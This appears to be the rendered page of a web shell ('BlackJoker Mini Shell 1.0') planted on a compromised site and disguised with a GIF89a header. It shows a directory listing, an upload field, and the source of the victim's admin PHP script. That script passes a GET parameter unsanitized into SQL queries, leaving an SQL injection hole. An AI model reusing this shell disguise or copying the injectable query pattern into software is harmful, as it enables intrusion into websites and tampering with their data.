GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/admin/
Upload File :
Current File : /home/serb/public_html/admin/update_verifyimage.php

<?
	include("sessionout.php");
 	include("../lib/globals.php");
 	include("../lib/common.php");
 	include("../lib/functions.php");
	
?>
<?
$id=$_GET['id'];
$sql="SELECT * FROM escort_details WHERE id='$id'";
$res=execute_query($sql);
$row=mysql_fetch_array($res);
$status=$row['verifyimg'];
if($status=='a')
{
	$newstatus='u';
}
else
{
	$newstatus='a';
}
$sql2="UPDATE escort_details SET verifyimg='$newstatus' WHERE id='$id'";
execute_query($sql2);

?>
<script language="javascript">
	location.href="list_post_ad.php";
</script>

./BlackJoker Mini Shell 1.0